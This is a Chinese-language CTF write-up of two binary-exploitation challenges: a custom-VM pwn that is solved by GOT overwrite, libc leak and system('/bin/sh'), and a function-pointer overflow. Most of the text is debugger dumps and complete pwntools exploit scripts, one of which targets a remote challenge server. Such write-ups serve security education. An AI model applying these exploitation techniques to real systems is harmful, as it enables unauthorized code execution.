2025羊城杯mvmps详解 || read写入溢出修改code类型
此vm指令集架构异常复杂,本文提供分析技巧以及vm利用思路 || 为了平衡难度,提供一个简单指令集但是新的利用思路
mvmps
➜ Cands checksec vvmm
[*] '/home/ziran/Desktop/1011/Cands/vvmm'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled类型0的核心指令
# 栈指针减
code(0, opcode_high=36, operand1=0x100) # 栈指针减0x100
# 栈指针加
code(0, opcode_high=37, operand1=0x80) # 栈指针加0x80
# 状态加载
code(0, opcode_high=59, operand1=0) # 状态加载操作
# 内存操作
code(0, opcode_high=51, operand1=0x200) # 内存操作(调用sub_4014AF)
# 栈操作
code(0, opcode_high=48, operand1=0x40) # 复杂栈操作类型1的核心指令
# 寄存器加1
code(1, opcode_high=33, operand1=1) # 寄存器1加1
# 寄存器减1
code(1, opcode_high=34, operand1=2) # 寄存器2减1
# 栈操作(出栈)
code(1, opcode_high=31, operand1=3) # 出栈到寄存器3
# 栈操作(入栈)
code(1, opcode_high=32, operand1=4) # 寄存器4入栈
# 条件操作
code(1, opcode_high=43, operand1=0) # 如果状态=2则执行操作类型2的核心指令
# 寄存器加法
code(2, opcode_high=10, operand1=2, operand2=3) # reg2 += reg3
# 寄存器赋值
code(2, opcode_high=3, operand1=1, operand2=0) # reg1 = reg0
# 寄存器比较(无符号)
code(2, opcode_high=1, operand1=4, operand2=5) # 比较reg4和reg5(无符号)
# 内存读取(字节)
code(2, opcode_high=12, operand1=6, operand2=7) # reg6 = mem[reg7] (byte)
# 内存写入(双字)
code(2, opcode_high=17, operand1=0, operand2=1) # mem[reg0] = reg1 (dword)类型3的核心指令
# 寄存器赋值(立即数)
code(3, opcode_high=3, operand1=0, operand2=0x4000) # reg0 = 0x4000
# 寄存器加法(立即数)
code(3, opcode_high=10, operand1=1, operand2=0x100) # reg1 += 0x100
# 内存读取(立即数偏移)
code(3, opcode_high=14, operand1=2, operand2=0x200) # reg2 = mem[基地址+0x200]
# 内存写入(立即数)
code(3, opcode_high=17, operand1=0, operand2=0xdeadbeef) # mem[reg0] = 0xdeadbeef
# 寄存器比较(立即数)
code(3, opcode_high=1, operand1=3, operand2=0x1000) # 比较reg3和0x1000(无符号)首先是去调整栈指针
case '$':
*(_QWORD *)(a1 + 64) -= (unsigned int)(4 * *(_DWORD *)(a2 + 4));
code(0, opcode_high=36, operand1=0x100) # 栈指针减0x400case '%':
*(_QWORD *)(a1 + 64) += (unsigned int)(4 * *(_DWORD *)(a2 + 4));
code(0, opcode_high=37, operand1=0x80) # 栈指针加0x200这个四倍关系知道了
case 35:
*(_QWORD *)(a1 + 8 * (*(unsigned int *)(a2 + 4) + 2LL)) = *(_QWORD *)(a1 + 64);
code(1, opcode_high=35, operand1=0) # reg0 = SPcase 32:
*(_QWORD *)(a1 + 8 * (*(unsigned int *)(a2 + 4) + 2LL)) = *(unsigned int *)(*(_QWORD *)a1 + *(_QWORD *)(a1 + 64));
*(_QWORD *)(a1 + 64) += 4LL;
code(1, opcode_high=32, operand1=1) # reg1 = pop()等等,太沙雕了,指令太庞大了
payload += code(1, opcode_high=35, operand1=0)从头开始
这个是一开始的heap空间的相关的寄存器的控制区域
初始化的值
50:0280│ 0x407280 ◂— 0
... ↓ 2 skipped
53:0298│ 0x407298 ◂— 0x61 /* 'a' */
54:02a0│ rax rdi 0x4072a0 —▸ 0x4050a0 ◂— 0x10090
55:02a8│ 0x4072a8 ◂— 4
56:02b0│ 0x4072b0 ◂— 0
57:02b8│ 0x4072b8 ◂— 0
pwndbg>
58:02c0│ 0x4072c0 ◂— 0
... ↓ 3 skipped
5c:02e0│ 0x4072e0 ◂— 0x1000
5d:02e8│ 0x4072e8 ◂— 0
5e:02f0│ 0x4072f0 ◂— 0
5f:02f8│ 0x4072f8 ◂— 0x21 /* '!' */
pwndbg>
60:0300│ rdx rsi r9 0x407300 ◂— 0x10000000090
61:0308│ 0x407308 ◂— 0
62:0310│ 0x407310 ◂— 0对比一下,这个将寄存器的值赋值给栈指针
pwndbg>
50:0280│ 0x407280 ◂— 0
... ↓ 2 skipped
53:0298│ 0x407298 ◂— 0x61 /* 'a' */
54:02a0│ rax rdi 0x4072a0 —▸ 0x4050a0 ◂— 0x8d
55:02a8│ 0x4072a8 ◂— 2 ###这个变化
56:02b0│ 0x4072b0 ◂— 0x1000 ###这个变化
57:02b8│ 0x4072b8 ◂— 0
pwndbg>
58:02c0│ 0x4072c0 ◂— 0
... ↓ 3 skipped
5c:02e0│ 0x4072e0 ◂— 0x1000
5d:02e8│ 0x4072e8 ◂— 0
5e:02f0│ 0x4072f0 ◂— 0
5f:02f8│ 0x4072f8 ◂— 0x21 /* '!' */
pwndbg>
60:0300│ r9 0x407300 ◂— 0x18d ###这个变化
61:0308│ 0x407308 ◂— 0
62:0310│ 0x407310 ◂— 0
63:0318│ 0x407318 ◂— 0x20cf1
64:0320│ 0x407320 ◂— 0
... ↓ 3 skipped将栈指针减少0x100
50:0280│ 0x407280 ◂— 0
... ↓ 2 skipped
53:0298│ 0x407298 ◂— 0x61 /* 'a' */
54:02a0│ rax rdi 0x4072a0 —▸ 0x4050a0 ◂— 0x10090
55:02a8│ 0x4072a8 ◂— 4
56:02b0│ 0x4072b0 ◂— 0
57:02b8│ 0x4072b8 ◂— 0
pwndbg>
58:02c0│ 0x4072c0 ◂— 0
... ↓ 3 skipped
5c:02e0│ 0x4072e0 ◂— 0xc00 ####这个变化
5d:02e8│ 0x4072e8 ◂— 0
5e:02f0│ 0x4072f0 ◂— 0
5f:02f8│ 0x4072f8 ◂— 0x21 /* '!' */
pwndbg>
60:0300│ rsi r9 0x407300 ◂— 0x10000000090
61:0308│ 0x407308 ◂— 0
62:0310│ 0x407310 ◂— 0
63:0318│ 0x407318 ◂— 0x20cf1
64:0320│ 0x407320 ◂— 0将值赋值给寄存器
pwndbg>
50:0280│ 0x407280 ◂— 0
... ↓ 2 skipped
53:0298│ 0x407298 ◂— 0x61 /* 'a' */
54:02a0│ rax rdi 0x4072a0 —▸ 0x4050a0 ◂— 0x405020000000000f ####刚好执行完成了指令
55:02a8│ 0x4072a8 ◂— 6 ###这个变化
56:02b0│ 0x4072b0 ◂— 0x20000000 ###这个是寄存器存储的第一个值
57:02b8│ 0x4072b8 ◂— 0 ###这个是寄存器存储的第二个值
pwndbg>
58:02c0│ 0x4072c0 ◂— 0
... ↓ 3 skipped
5c:02e0│ 0x4072e0 ◂— 0x1000 ###这个是指针的索引
5d:02e8│ 0x4072e8 ◂— 0
5e:02f0│ 0x4072f0 ◂— 0
5f:02f8│ 0x4072f8 ◂— 0x21 /* '!' */
pwndbg>
60:0300│ rsi r9 0x407300 ◂— 0x30f ###这个变化
61:0308│ 0x407308 ◂— 0x20000000 ###这个也是寄存器存储的一个值
62:0310│ 0x407310 ◂— 0
63:0318│ 0x407318 ◂— 0x20cf1
64:0320│ 0x407320 ◂— 0正篇
寄存器的赋值操作
code(3, opcode_high=3, operand1=1, operand2=0x666666)这个是为寄存器赋值的操作(这个已经修补完毕漏洞)
50:0280│ 0x407280 ◂— 0
... ↓ 2 skipped
53:0298│ 0x407298 ◂— 0x61 /* 'a' */
54:02a0│ rax rdi 0x4072a0 —▸ 0x4050a0 ◂— 0x10f66666600000f ####这个是当前指令
55:02a8│ 0x4072a8 ◂— 0x12 ####这个是执行指令的字节的数(累计)
56:02b0│ 0x4072b0 ◂— 0x66666600 #####这个是寄存器的存储的值(从上往下自增)
57:02b8│ 0x4072b8 ◂— 0x66666600
pwndbg>
58:02c0│ 0x4072c0 ◂— 0x66666600
59:02c8│ 0x4072c8 ◂— 0
... ↓ 2 skipped
5c:02e0│ 0x4072e0 ◂— 0x1000 #这个是栈上的索引
5d:02e8│ 0x4072e8 ◂— 0
5e:02f0│ 0x4072f0 ◂— 0
5f:02f8│ 0x4072f8 ◂— 0x21 /* '!' */
pwndbg>
60:0300│ rsi r9 0x407300 ◂— 0x20000030f
61:0308│ 0x407308 ◂— 0x66666600
62:0310│ 0x407310 ◂— 0
63:0318│ 0x407318 ◂— 0x20cf1
64:0320│ 0x407320 ◂— 0
这里的话我们的寄存器的赋值这个已经是正确了
寄存器压栈的操作
code(1, opcode_high=31, operand1=reg_index)寄存器压栈(这个本身无漏洞)
pwndbg>
50:0280│ 0x407280 ◂— 0
... ↓ 2 skipped
53:0298│ 0x407298 ◂— 0x61 /* 'a' */
54:02a0│ rdi 0x4072a0 —▸ 0x4050a0 ◂— 0x7d66666600000f
55:02a8│ 0x4072a8 ◂— 8
56:02b0│ 0x4072b0 ◂— 0x66666600
57:02b8│ 0x4072b8 ◂— 0
pwndbg>
58:02c0│ 0x4072c0 ◂— 0
... ↓ 3 skipped
5c:02e0│ 0x4072e0 ◂— 0xffc
5d:02e8│ 0x4072e8 ◂— 0
5e:02f0│ 0x4072f0 ◂— 0
5f:02f8│ 0x4072f8 ◂— 0x21 /* '!' */
pwndbg>
60:0300│ rsi r9 0x407300 ◂— 0x17d
61:0308│ 0x407308 ◂— 0
62:0310│ 0x407310 ◂— 0
63:0318│ 0x407318 ◂— 0x20cf1
64:0320│ 0x407320 ◂— 0
... ↓ 3 skipped实际操作中被隐去的索引
pwndbg> tele 0x40609c
00:0000│ rax 0x40609c ◂— 0
... ↓ 7 skipped调整栈指针的位置
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x20),调整栈指针的位置
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x20),读取到寄存器上
code(1, opcode_high=32, operand1=1)57:02b8│ 0x4072b8 ◂— 0xf7c80e50
0xebd43
0x43bdce50
调好之后直接变成了这个,这个寄存器的变值都变成相反的了吗
这个脚本还是有问题,应该是小端序,这里给我弄成了大端序
def code(op_type, opcode_high=None, operand1=None, operand2=None):
"""
统一的虚拟机指令构造函数
参数:
op_type: 指令类型 (0-3)
opcode_high: 高6位操作码 (0-63)
operand1: 第一个操作数 (根据指令类型不同而不同)
operand2: 第二个操作数 (仅类型2和3需要)
返回:
bytes: 指令字节流
"""
# 验证指令类型
if op_type not in [0, 1, 2, 3]:
raise ValueError("无效的指令类型,必须是0-3")
# 设置默认操作码高6位
if opcode_high is None:
opcode_high = 0
# 确保高6位在0-63范围内
opcode_high = opcode_high & 0x3F
# 类型0指令 (最低两位00)
if op_type == 0:
if operand1 is None:
operand1 = 0
# 确保操作数在24位范围内
operand1 = operand1 & 0xFFFFFF
# 构造操作码字节:高6位为opcode_high,最低两位为0
opcode_byte = (opcode_high << 2) | 0x00
return bytes([
opcode_byte,
(operand1 >> 16) & 0xFF,
(operand1 >> 8) & 0xFF,
operand1 & 0xFF
])
# 类型1指令 (最低两位01)
elif op_type == 1:
if operand1 is None:
operand1 = 0
# 确保操作数在8位范围内
operand1 = operand1 & 0xFF
# 构造操作码字节:高6位为opcode_high,最低两位为1
opcode_byte = (opcode_high << 2) | 0x01
return bytes([opcode_byte, operand1])
# 类型2指令 (最低两位10)
elif op_type == 2:
if operand1 is None:
operand1 = 0
if operand2 is None:
operand2 = 0
# 确保操作数在8位范围内
operand1 = operand1 & 0xFF
operand2 = operand2 & 0xFF
# 构造操作码字节:高6位为opcode_high,最低两位为2
opcode_byte = (opcode_high << 2) | 0x02
return bytes([opcode_byte, operand1, operand2])
# 类型3指令 (最低两位11)
elif op_type == 3:
if operand1 is None:
operand1 = 0
if operand2 is None:
operand2 = 0
# 确保操作数在有效范围内
operand1 = operand1 & 0xFF # 8位寄存器索引
operand2 = operand2 & 0xFFFFFFFF # 32位立即数
# 构造操作码字节:高6位为opcode_high,最低两位为3
opcode_byte = (opcode_high << 2) | 0x03
# 小端序立即数 (低位在前)
return bytes([
opcode_byte, # 1字节操作码
operand1, # 1字节寄存器索引
operand2 & 0xFF, # 立即数低字节
(operand2 >> 8) & 0xFF, # 立即数次低字节
(operand2 >> 16) & 0xFF,# 立即数次高字节
(operand2 >> 24) & 0xFF # 立即数高字节
])经过这样调整之后,我们已经可以实现了将寄存器压栈
[0x405020] puts@GLIBC_2.2.5 -> 0x7ffff7cebd43 (execvpe+1331) ◂— lea r10, [rbp - 0x50]我们这个时候已经改完got表了,应该怎么触发呢
改成ogg没有一个可以打通,我尝试一下system
code(0, opcode_high=36, operand1=0x2),
这个压栈一字节对应的实际偏移是4
exit退出爆破不了的话那就修改exit重启
code(3, opcode_high=3, operand1=0, operand2=0x123456),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x20),
code(1, opcode_high=32, operand1=1),
code(3, opcode_high=6, operand1=1, operand2=0xFF000000),
code(3, opcode_high=5, operand1=1, operand2=0xcebd43 ),
code(0, opcode_high=36, operand1=0x3),
code(1, opcode_high=31, operand1=1),这个的这个指令正好可以修改exit实现重启
[0x405018] _exit@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x405020] puts@GLIBC_2.2.5 -> 0x7ffff7c80e50 (puts) ◂— endbr64
0x405018] _exit@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x405020] puts@GLIBC_2.2.5 -> 0x7ffff7cebd43 (execvpe+1331) ◂— lea r10, [rbp - 0x50]
好可惜,在最后打ogg的时候出现了问题
直接先重启一波,现在是拥有了无限重启的机会
0x402992
在这个位置,重启之后执行malloc的ogg
code(0, opcode_high=37, operand1=units)这个是抬栈的操作,标记一下
53:0298│ 0x407298 ◂— 0x61 /* 'a' /
54:02a0│ 0x4072a0 —▸ 0x4050a0 ◂— 0x9000123456000f
55:02a8│ 0x4072a8 ◂— 0x38 / '8' /
56:02b0│ 0x4072b0 ◂— 0x123456
57:02b8│ 0x4072b8 ◂— 0xf7cebd43
pwndbg>
58:02c0│ 0x4072c0 —▸ 0x402afa ◂— endbr64
59:02c8│ 0x4072c8 ◂— 0
... ↓ 2 skipped
5c:02e0│ 0x4072e0 ◂— 0xffffffffffffff78
5d:02e8│ 0x4072e8 ◂— 0
5e:02f0│ 0x4072f0 ◂— 0
5f:02f8│ 0x4072f8 ◂— 0x21 / '!' */
万幸,重启之后指针并没有改变,可以在原先的基础上操作
抬高5个8字节,覆写malloc,之后重启执行ogg试试
慢慢来吧,不能大不了再去重启一遍
我靠,我把31当成1了,服了服了
def ak1():
rt("Please input your opcodes:")
bss_addr = elf.got['puts']
instructions = [
code(3, opcode_high=3, operand1=0, operand2=0x123456),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x20),
code(1, opcode_high=32, operand1=1),
code(3, opcode_high=6, operand1=1, operand2=0xFF000000),
code(3, opcode_high=5, operand1=1, operand2=0xcebd43 ),
code(0, opcode_high=37, operand1=0x8), ##这个抬高栈一下
code(0, opcode_high=37, operand1=0x2), ##这个抬高栈一下
code(1, opcode_high=31, operand1=1),######################这个是修改指令,但是没有用,爆破不大行
########这里先去不修改ogg,到时候抬高栈修改还是一样,控制流已经拿到了################
########然后下面接着跟上重启################3
code(0, opcode_high=36, operand1=0x4),
code(0, opcode_high=36, operand1=0x8),
code(3, opcode_high=3, operand1=2, operand2=0x402AFA),
code(1, opcode_high=31, operand1=2),
]
pd = b''.join(instructions)
s(pd)存档一下有意义的失败
应该是先重启,要不会出现意外的程序流执行的错误
每一次重启,栈帧的位置都会重置好像
def ak1():
rt("Please input your opcodes:")
bss_addr = elf.got['puts']
instructions = [
code(3, opcode_high=3, operand1=0, operand2=0x123456),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x20),
code(1, opcode_high=32, operand1=1),
code(3, opcode_high=6, operand1=1, operand2=0xFF000000),
code(3, opcode_high=5, operand1=1, operand2=0xcebd43 ),
######################这个是修改指令,但是没有用,爆破不大行
########这里先去不修改ogg,到时候抬高栈修改还是一样,控制流已经拿到了################
########然后下面接着跟上重启################3
code(0, opcode_high=36, operand1=0x2),
code(3, opcode_high=3, operand1=2, operand2=0x402AFA),
code(1, opcode_high=31, operand1=2),
]
pd = b''.join(instructions)
s(pd)
#duan(0x402A1A)#指令1的地方打断点
instructions = [
code(0, opcode_high=37, operand1=0x4), ##这个抬高栈一下
]
pd = b''.join(instructions)
#s(pd)
#duan(0x402A05)#指令0的地方打断点
pd = code(0, opcode_high=37, operand1=0x2)
duan(0x402A1A)#指令1的地方打断点
s(pd)
pd = code(1, opcode_high=31, operand1=1)
s(pd)重启之后怎么这么多bug,修改都很难再去修改
[0x405018] _exit@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x405020] puts@GLIBC_2.2.5 -> 0x402afaf7c80e50
[0x405028] write@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
[0x405030] setbuf@GLIBC_2.2.5 -> 0x7ffff7cebd43 (execvpe+1331) ◂— lea r10, [rbp - 0x50]
这个写入寄存器会破坏数据,很奇怪
看一下memset执行ogg的情况
RAX 0x407300 ◂— 0x10000017d
RBX 0
RCX 0x4050a0 ◂— 0x9000123456000f
RDX 0xc
RDI 0x407300 ◂— 0x10000017d
RSI 0
R8 0x1a
R9 0x407300 ◂— 0x10000017d
R10 0x7ffff7c065e8 ◂— 0xf001200001a64
R11 0x7ffff7e1ace0 (main_arena+96) —▸ 0x407310 ◂— 0
R12 0x7fffffffe378 —▸ 0x7fffffffe651 ◂— 0x43006d6d76762f2e /* './vvmm' */
R13 0x402afa ◂— endbr64
R14 0x404e18 —▸ 0x4011c0 ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x7fffffffe240 —▸ 0x7fffffffe260 ◂— 1
RSP 0x7fffffffe218 —▸ 0x402a60 ◂— mov rax, qword ptr [rbp - 0x18]
*RIP 0x4010e4 (memset@plt+4) ◂— bnd jmp qword ptr [rip + 0x3f4d]执行malloc爆破的时候栈帧的时候是这个情况
RAX 1
RBX 0
RCX 0xc00
RDX 1
RDI 0x50
RSI 0
R8 0xd
R9 0x407300 ◂— 0
R10 0x7ffff7c065e8 ◂— 0xf001200001a64
R11 0x246
R12 0x7fffffffe378 —▸ 0x7fffffffe651 ◂— 0x43006d6d76762f2e /* './vvmm' */
R13 0x402afa ◂— endbr64
R14 0x404e18 —▸ 0x4011c0 ◂— endbr64
R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x7fffffffe210 —▸ 0x7fffffffe240 —▸ 0x7fffffffe260 ◂— 1
*RSP 0x7fffffffe1f8 —▸ 0x402b1a ◂— mov qword ptr [rbp - 8], rax
*RIP 0x401100 (malloc@plt) ◂— endbr64备份一下
这个我把所有的ogg执行了一遍都不行,应该是有我没有
case 17:
if ( sub_401215(*(_QWORD *)&code[8 * *(unsigned int *)(s + 4) + 16]) )
sub_401239();
code_1 = (_BYTE *)*(unsigned int *)(s + 8);
*(_DWORD *)(*(_QWORD *)code + *(_QWORD *)&code[8 * *(unsigned int *)(s + 4) + 16]) = (_DWORD)code_1;
break;
这个写值的效果不错
指令格式: code(2, opcode_high=17, operand1=值寄存器, operand2=地址寄存器)
•效果: mem[基地址 + 地址寄存器值] = 值寄存器值 (32位)重新开始做,这个终于找到了最后的一部分
code(0, opcode_high=51, operand1=2)
#程序退出还要设计三个寄存器
payload = set_register(0, fd) # 假设status对应寄存器0
# 设置buf参数为address
payload += set_register(1, address) # 假设buf对应寄存器1
# 设置n参数为length
payload += set_register(2, length) # 假设n对应寄存器2这样去泄露出来libc的机制
code(3, opcode_high=3, operand1=reg_index, operand2=value)
控制寄存器的值
exp
#!/usr/bin/python3
from pwn import *
import ctypes
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#elf1 = ctypes.CDLL("./libc.so.6")
#elf1.srand(ctypes.c_uint(int(time.time())))
pie = 0
file_name = "./vvmm"
libc_name = "./libc.so.6"#/lib/x86_64-linux-gnu/libc.so.6
host = "45.40.247.139"
port = 20388
contents = 20388
def create_io():
global io , duan , elf , libc
elf = ELF(file_name)
# libc = None
libc = ELF(libc_name)
if contents == 1:
io = process(file_name)
#io = process(["qemu-mipsel","-L","/usr/mipsel-linux-gnu","-g","1234", file_name])
#io = gdb.debug('./pwn', 'set follow-fork-mode child\nb *$rebase(0x178d)\nc')
def duan(*address):
pay = ''
if pie:
for i in address:
pay += 'b *$rebase(' + str(i) + ')' + '\n'
else:
for i in address:
pay += 'b *' + str(i) + '\n'
gdb.attach(io,pay)
sp()
else:
io = remote(host,port)
elf = ELF(file_name)
libc = ELF('./libc.so.6')
pr = lambda x:success('\x1b[01;38;5;214m'+hex(x)+'\x1b[0m')
sl = lambda x:io.sendline(x)
s = lambda x:io.send(x)
rt = lambda x:io.recvuntil(x)
ri = lambda x:int(io.recv(x),16)
ru = lambda x:u64(io.recv(x).ljust(8,b'\x00'))
it = lambda :io.interactive()
sp = lambda :sleep(1.5)
q = lambda :sleep(0.2)
lg = lambda :log.info('\x1b[01;38;5;214m'+ '-------------------------------------------'+'success stage'+'---------------------------------------------------------'+'\x1b[0m' )
def code(op_type, opcode_high=None, operand1=None, operand2=None):
"""
统一的虚拟机指令构造函数
参数:
op_type: 指令类型 (0-3)
opcode_high: 高6位操作码 (0-63)
operand1: 第一个操作数 (根据指令类型不同而不同)
operand2: 第二个操作数 (仅类型2和3需要)
返回:
bytes: 指令字节流
"""
# 验证指令类型
if op_type not in [0, 1, 2, 3]:
raise ValueError("无效的指令类型,必须是0-3")
# 设置默认操作码高6位
if opcode_high is None:
opcode_high = 0
# 确保高6位在0-63范围内
opcode_high = opcode_high & 0x3F
# 类型0指令 (最低两位00)
if op_type == 0:
if operand1 is None:
operand1 = 0
# 确保操作数在24位范围内
operand1 = operand1 & 0xFFFFFF
# 构造操作码字节:高6位为opcode_high,最低两位为0
opcode_byte = (opcode_high << 2) | 0x00
return bytes([
opcode_byte,
(operand1 >> 16) & 0xFF,
(operand1 >> 8) & 0xFF,
operand1 & 0xFF
])
# 类型1指令 (最低两位01)
elif op_type == 1:
if operand1 is None:
operand1 = 0
# 确保操作数在8位范围内
operand1 = operand1 & 0xFF
# 构造操作码字节:高6位为opcode_high,最低两位为1
opcode_byte = (opcode_high << 2) | 0x01
return bytes([opcode_byte, operand1])
# 类型2指令 (最低两位10)
elif op_type == 2:
if operand1 is None:
operand1 = 0
if operand2 is None:
operand2 = 0
# 确保操作数在8位范围内
operand1 = operand1 & 0xFF
operand2 = operand2 & 0xFF
# 构造操作码字节:高6位为opcode_high,最低两位为2
opcode_byte = (opcode_high << 2) | 0x02
return bytes([opcode_byte, operand1, operand2])
# 类型3指令 (最低两位11)
elif op_type == 3:
if operand1 is None:
operand1 = 0
if operand2 is None:
operand2 = 0
# 确保操作数在有效范围内
operand1 = operand1 & 0xFF # 8位寄存器索引
operand2 = operand2 & 0xFFFFFFFF # 32位立即数
# 构造操作码字节:高6位为opcode_high,最低两位为3
opcode_byte = (opcode_high << 2) | 0x03
# 小端序立即数 (低位在前)
return bytes([
opcode_byte, # 1字节操作码
operand1, # 1字节寄存器索引
operand2 & 0xFF, # 立即数低字节
(operand2 >> 8) & 0xFF, # 立即数次低字节
(operand2 >> 16) & 0xFF,# 立即数次高字节
(operand2 >> 24) & 0xFF # 立即数高字节
])
def ak1():
rt("Please input your opcodes:")
bss_addr = elf.got['puts']
ogg = [0xcebc81,0xcebc85,0xcebc88,0xcebce2,0xcebd38,0xcebd3f,0xcebd43][0]
system = 0x50d70
instructions = [
code(3, opcode_high=3, operand1=0, operand2=0x123456),#这个是随便给寄存器赋值调一下code函数的准确性
code(0, opcode_high=36, operand1=0x100),#这个是压栈,第三个参数是实际的4倍数值
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x100),
code(0, opcode_high=36, operand1=0x20),
########从中间把新发现的插入试一下#########################
code(3, opcode_high=3, operand1=0, operand2=1),
code(3, opcode_high=3, operand1=1, operand2=bss_addr),
code(3, opcode_high=3, operand1=2, operand2=8),
code(0, opcode_high=51, operand1=1),
code(3, opcode_high=3, operand1=0, operand2=0),
code(3, opcode_high=3, operand1=1, operand2=bss_addr-8),
code(3, opcode_high=3, operand1=2, operand2=8),
code(0, opcode_high=51, operand1=0),
code(3, opcode_high=3, operand1=0, operand2=0x3B73683B),
code(3, opcode_high=3, operand1=0, operand2=0),
code(3, opcode_high=3, operand1=1, operand2=bss_addr+0x50),
code(3, opcode_high=3, operand1=2, operand2=8),
code(0, opcode_high=51, operand1=0),
########这里已经是写上了,修改一下地址就行了###############0x405070
code(3, opcode_high=3, operand1=0, operand2=0x405070),
code(0, opcode_high=51, operand1=2),
code(1, opcode_high=32, operand1=1),#这个是去栈上的数值
code(3, opcode_high=6, operand1=1, operand2=0xFFF00000),
code(3, opcode_high=5, operand1=1, operand2=ogg),#这两步是凑齐ogg的数值
code(0, opcode_high=37, operand1=0x2),#这个是抬高栈
code(0, opcode_high=37, operand1=0),
code(1, opcode_high=31, operand1=1),#这个是把数值压栈
######################这个是修改指令,但是没有用,爆破不大行
########这里先去不修改ogg,到时候抬高栈修改还是一样,控制流已经拿到了################
########然后下面接着跟上重启################3
code(0, opcode_high=36, operand1=0),
code(0, opcode_high=36, operand1=0x3),#这个是降低栈
code(3, opcode_high=3, operand1=2, operand2=0x402AFA),#这个是给寄存器赋值
code(1, opcode_high=31, operand1=2),#这个是把寄存器的值压栈
]
pd = b''.join(instructions)
pd += b';sh;'
s(pd)
rt(b'\n')
lib = ru(6)-0x80e50
pr(lib)
pause()
s(p64(lib + libc.symbols['system']))
pause()
s(b'/bin/sh\x00')
#duan(0x402A1A)#指令1的地方打断点
# instructions = [
# code(0, opcode_high=37, operand1=0x4), ##这个抬高栈一下
# ]
# pd = b''.join(instructions)
#s(pd)
#duan(0x402A05)#指令0的地方打断点
#pd = code(0, opcode_high=37, operand1=0x2)
# duan(0x402A1A)#指令1的地方打断点
#s(pd)
#pd = code(1, opcode_high=31, operand1=1)
#s(pd)
if __name__ == '__main__':
create_io()
#duan(0x402A05)#指令0的地方打断点
#duan(0x402A1A)#指令1的地方打断点
#duan(0x402A44)#指令3的地方打断点
#duan(0x402A2F)#指令2的地方打断点
#duan(0x402AFA)#重启的位置,验证是否重启成功
#duan(0x4014AF)#泄漏的位置
ak1()
it()read写入溢出修改code类型
这个题目的话是通过溢出符覆写code指令,思路很奇特,可以单独成立一个分支
这个是这个指令集架构
unsigned __int64 program()
{
unsigned __int64 result; // rax
int v1; // [rsp+Ch] [rbp-14h] BYREF
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
v2 = 0;
while ( (unsigned __int64)n_gestures <= 7 )
{
puts("0. Finish\n1. Walk\n2. Wave Hands\n3. Jump\n4. Turn around\n5. Stand still");
printf("Choose your gesture: ");
if ( (int)_isoc99_scanf("%u", &v1) <= 0 )
exit(1);
switch ( v1 )
{
case 0:
goto LABEL_15;
case 1:
gestures[v2] = walk;
++n_gestures;
goto LABEL_11;
case 2:
gestures[v2] = wave_hands;
++n_gestures;
goto LABEL_11;
case 3:
gestures[v2] = jump;
++n_gestures;
goto LABEL_11;
case 4:
gestures[v2] = turn;
++n_gestures;
goto LABEL_11;
case 5:
gestures[v2] = stand_still;
++n_gestures;
LABEL_11:
printf("What should I say after this gesture? ");
getchar();
if ( !fgets(&talks[16 * v2], 16, stdin) )
exit(1);
return result;
default:
puts("Invalid choice, try again.");
break;
}
++v2;
}
LABEL_15:
result = v3 - __readfsqword(0x28u);
if ( result )
_stack_chk_fail();
return result;
}这里是解释执行的入口点
__int64 __fastcall execute(__int64 p_gestures)
{
__int64 n_gestures; // rax
unsigned __int64 n_gestures_1; // [rsp+10h] [rbp-10h]
for ( n_gestures_1 = 0; ; ++n_gestures_1 )
{
n_gestures = ::n_gestures;
if ( n_gestures_1 >= ::n_gestures )
break;
(*(void (**)(void))(8 * n_gestures_1 + p_gestures))();
printf("%s", &talks[16 * n_gestures_1]);
sleep(1u);
}
return n_gestures;
}具体的溢出的话依赖的是下面的代码
LABEL_11:
printf("What should I say after this gesture? ");
getchar();
if ( !fgets(&talks[16 * v2], 16, stdin) )
exit(1);
return result;
default:
puts("Invalid choice, try again.");
break;
}
++v2;
}通过不断与talks输入数值,溢出覆写gestures
最后通过这个片段,控制劫持程序执行流
.text:0000000000401231 gift proc near
.text:0000000000401231 ; __unwind {
.text:0000000000401231 endbr64
.text:0000000000401235 mov rax, rdi
.text:0000000000401238 mov rdi, [rax+8]
.text:000000000040123C call qword ptr [rax+10h]
.text:000000000040123F retn
.text:000000000040123F gift endp而这个rdi从这里之后就没有再变过,直到执行第一条指令
.text:00000000004014F5 lea rax, gestures
.text:00000000004014FC mov rdi, rax ; p_gestures
.text:00000000004014FF call execute然后布局好之后callsystem后门函数即可
exp
from pwn import *
p = process("./callit")
context(log_level='debug')
p.sendlineafter("Choose your gesture: ", "1")
p.sendlineafter("What should I say after this gesture? ", "/bin/sh")
for i in range(7):
p.sendlineafter("Choose your gesture: ", "6")
p.sendlineafter("Choose your gesture: ", "1")
